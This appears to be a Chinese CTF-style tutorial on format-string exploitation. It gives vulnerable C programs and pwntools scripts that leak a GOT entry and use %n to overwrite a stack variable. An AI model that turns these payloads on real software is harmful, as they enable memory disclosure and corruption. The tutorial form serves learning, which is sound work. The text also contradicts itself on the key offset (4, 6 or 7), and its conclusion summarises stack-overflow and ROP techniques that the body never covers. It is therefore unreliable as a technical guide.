我们要知道,当我们输入 AAAA%x.%x.%x...,AAAA 会出现在第几个 %x 的位置
输入:
aaaa.%x.%x.%x.%x.%x.%x.%x输出:
aaaa.ffeb84a0.ff.8049190.61616161.2e78252e.252e7825.78252e78
当我们看到61616161出现在第4个%x的位置时,这就意味着:格式字符串中的内容,在 printf 看来,是第 4 个参数。
这个6就是我们的偏移量,后续所有操作都需要依赖它。
printf各个参数在栈上压栈的匹配
第 1 个参数:format 字符串指针(指向 buf)
第 2,3个:可能是调用printf前栈上的残留数据(如 main 的 ebp、返回地址等)
第 4 个:正好是 buf 的开始内容(即 "AAAA")
2、泄露内存
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}利用pwntools构造payload
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()其中,我们使用 gdb.attach(sh) 来进行调试。
当我们运行到第二个 printf ,可以看到我们的第四个参数确实指向我们的 scanf 的地址,这里输出,在第14行的位置便是s在栈上的起始地址。

注意:我们不能直接在命令行输入 \ x0c\xa0\x04\x08%4$s 这是因为虽然前面的确实是 printf@got 的地址,但是,scanf 函数并不会将其识别为对应的字符串,而是会将 ,x,0,c 分别作为一个字符进行读入。
3、覆盖内存
覆盖内存的前提是:变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。这里我们可以想一下格式化字符串中的类型
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。通过这个类型参数,再加上一些小技巧,我们就可以达到我们的目的,这里分为两部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量。
第一部分:
源代码:
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}编译指令:
gcc -m32 -fno-stack-protector -no-pie -o ffmt2 ffmt2.c第一步:确定覆盖地址
首先我们要想办法知道c变量在栈上的地址。在现在程序中,大多数程序都是开启了ASLR保护的,所以地址都是不固定的。这里就故意输出c的地址。
第二步:确定相对偏移
确定存储格式化字符串的地址是 printf 将要输出的第几个参数。
通过图片可以发现,格式化字符串“%d%d”的地址在0xffffc9e8的位置,相对于0xffffc9d0的偏移量是0x18,即格式化字符串相当于 printf 函数的第 7 个参数,相当于格式化字符串的第 6 个参数。
第三步:进行覆盖
这样我们可以知道第六个参数的值就是存放c的地方,我们便可以利用 %n 的特征来修改 c的值。
关键:
%n 不是“把值写到第 6 个参数本身”,而是 “把值写到「第 7 个参数所指向的内存地址」
脚本如下:
from pwn import*
def forc():
sh = process('./ffmt2')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print(hex(c_addr))
payload = p32(c_addr)+b'a' * 12 + b'%6$n'
# print(payload)
gdb.attach(sh)
sh.sendline(payload)
pause()
print(sh.recv())
sh.interactive()
forc()“6”(这个6是对于printf函数而言的第6个参数,第0个位置放的便是我们的格式化字符串)6这个地方是s在栈上开始的地方,因为栈是连续的,所以s在栈开始的地方对于printf而言就是第6个参数,他存放的是变量c的地址,而
%6$n 不是“把16写到第 6 个参数本身”,而是 “把16写到「第 6 个参数所指向的内存地址」
总结
通过对栈溢出原理及初级ROP技术的全面探讨,我们掌握了从基础控制流劫持到复杂链式攻击的完整方法论。从最简单的ret2text直接调用后门函数,到需要信息泄露和参数精心构造的ret2libc攻击;从绕过NX保护的系统调用利用,到解决gadget不足的通用csu技术;再到应对有限溢出空间的栈迁移策略,这些技术共同构成了现代二进制安全攻防的基础框架。